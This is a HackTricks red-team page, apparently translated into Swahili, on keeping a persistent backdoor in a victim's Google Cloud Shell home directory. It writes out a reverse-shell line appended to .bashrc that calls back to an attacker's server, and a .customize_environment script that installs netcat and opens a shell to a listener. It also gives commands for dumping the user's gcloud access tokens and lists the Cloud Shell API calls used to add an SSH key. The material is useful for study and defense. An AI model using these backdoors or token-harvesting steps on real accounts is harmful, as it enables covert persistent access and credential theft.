GCP - Cloud Shell Persistence

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Cloud Shell

Kwa maelezo zaidi angalia:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell inakupa ufikiaji wa amri kwa rasilimali zako za wingu moja kwa moja kutoka kwa kivinjari chako bila gharama yoyote inayohusiana.

Unaweza kufikia Cloud Shell ya Google kutoka web console au kwa kukimbia gcloud cloud-shell ssh.

Konsoli hii ina uwezo wa kuvutia kwa washambuliaji:

1. Mtumiaji yeyote wa Google mwenye ufikiaji wa Google Cloud ana ufikiaji wa mfano wa Cloud Shell ulio na uthibitisho kamili (Akaunti za Huduma zinaweza, hata ikiwa ni Wamiliki wa shirika).

2. Mfano huo uta hifadhi saraka yake ya nyumbani kwa angalau siku 120 ikiwa hakuna shughuli inayoendelea.

3. Hakuna uwezo wa shirika kufuatilia shughuli za mfano huo.

Hii kwa msingi inamaanisha kwamba mshambuliaji anaweza kuweka backdoor katika saraka ya nyumbani ya mtumiaji na kadri mtumiaji anavyounganisha na GC Shell kila siku 120 angalau, backdoor itadumu na mshambuliaji atapata shell kila wakati inapoendeshwa kwa kufanya:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Kuna faili nyingine katika folda ya nyumbani inayoitwa .customize_environment ambayo, ikiwa ipo, itakuwa inasanidi kila wakati mtumiaji anapofikia cloud shell (kama katika mbinu ya awali). Ingiza tu backdoor ya awali au moja kama ifuatayo ili kudumisha uvumilivu kadri mtumiaji anavyotumia "mara kwa mara" cloud shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Ni muhimu kutambua kwamba wakati wa kwanza kitendo kinachohitaji uthibitisho kinapofanywa, dirisha la ruhusa linaonekana kwenye kivinjari cha mtumiaji. Dirisha hili lazima likubaliwe kabla ya amri kuweza kutekelezwa. Ikiwa dirisha lisilotarajiwa linaonekana, linaweza kuleta wasiwasi na huenda likaharibu njia ya kudumu inayotumika.

Hii ndiyo pop-up kutoka kwa kutekeleza gcloud projects list kutoka kwa cloud shell (kama mshambuliaji) iliyoangaliwa katika kikao cha kivinjari cha mtumiaji:

Hata hivyo, ikiwa mtumiaji amekuwa akitumia cloudshell kwa shughuli, pop-up haitatokea na unaweza kusanya tokens za mtumiaji kwa:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Jinsi muunganisho wa SSH unavyoundwa

Kimsingi, hizi API calls 3 zinatumika:

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (itakufanya uongeze funguo yako ya umma uliyounda kwa ndani)

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (itakufanya uanze mfano)

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (itakueleza ip ya google cloud shell)

Lakini unaweza kupata taarifa zaidi katika https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Marejeo

• https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec

• https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

• https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.